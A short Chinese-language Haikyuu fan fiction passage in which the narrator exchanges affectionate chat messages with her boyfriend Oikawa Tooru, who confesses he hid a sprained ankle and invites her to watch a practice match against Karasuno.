我盯着他发的倒数第二条消息,我十分确认这并不是手误,所以……小岩什么时候也变得这么幽默了0.0 想不明白。 但是手比脑子快。 回过神来,眼前出现的已经是【哦可爱彻酱】的聊天页面了。突然想起来这个备注当时也被小岩同样吐槽过,腻乎到这种程度真是令人发指。 其实只是把及川罗马音oikawa→okawaii而已,我觉得还挺有小巧思的,我很喜欢,及川也很满意。至于腻乎不腻乎以及及川彻本人到底可不可爱……这都不是重点!重点应该是夸赞我的小巧思才对! 哦可爱彻酱:[猫猫探头.jpg] :……qwq :对不起 怎么一上来就在卖萌道歉扮可怜三连啊,怎么一段时间不见这个人滑跪速度又创新高,我本来还有点想要借题发挥向他发一下脾气的来着,小火苗被三头灭火器直接扑灭。 真可恶。完全被拿捏了。 我用力地敲着屏幕,企图通过这种方式发泄我心中的愤怒:那你老实坦白。 :你错在哪里了哼哼 哦可爱彻酱:上午部活的时候不小心脚扭伤了啦…… :医生说最好不要走动><> :不想让你担心所以才撒谎的qwq :以为说是被临时拉去看录像你会相信,这样的话,虽然生气但是不会伤心吧 :真的对不起呜呜 ……真是的。 真是的。 及川彻,笨蛋,白痴。 于是我又一次用力地敲敲敲,然后发送:讨厌你 哦可爱彻酱:不要讨厌我呀呜哇呜哇 :想见你呀呀呀 :下周二好不好呀 :教练约了和乌野的训练赛,你来看我好不好哇 :那时候应该恢复了,请看我帅气打赢小飞雄! :真的好想你呀呀呀 真是的。虽然知道及川彻看不见我现在的表情,也听不到这些话,我还是忍不住叹气,小小声地骂了他一句白痴。 我:。 哦可爱彻酱:好耶!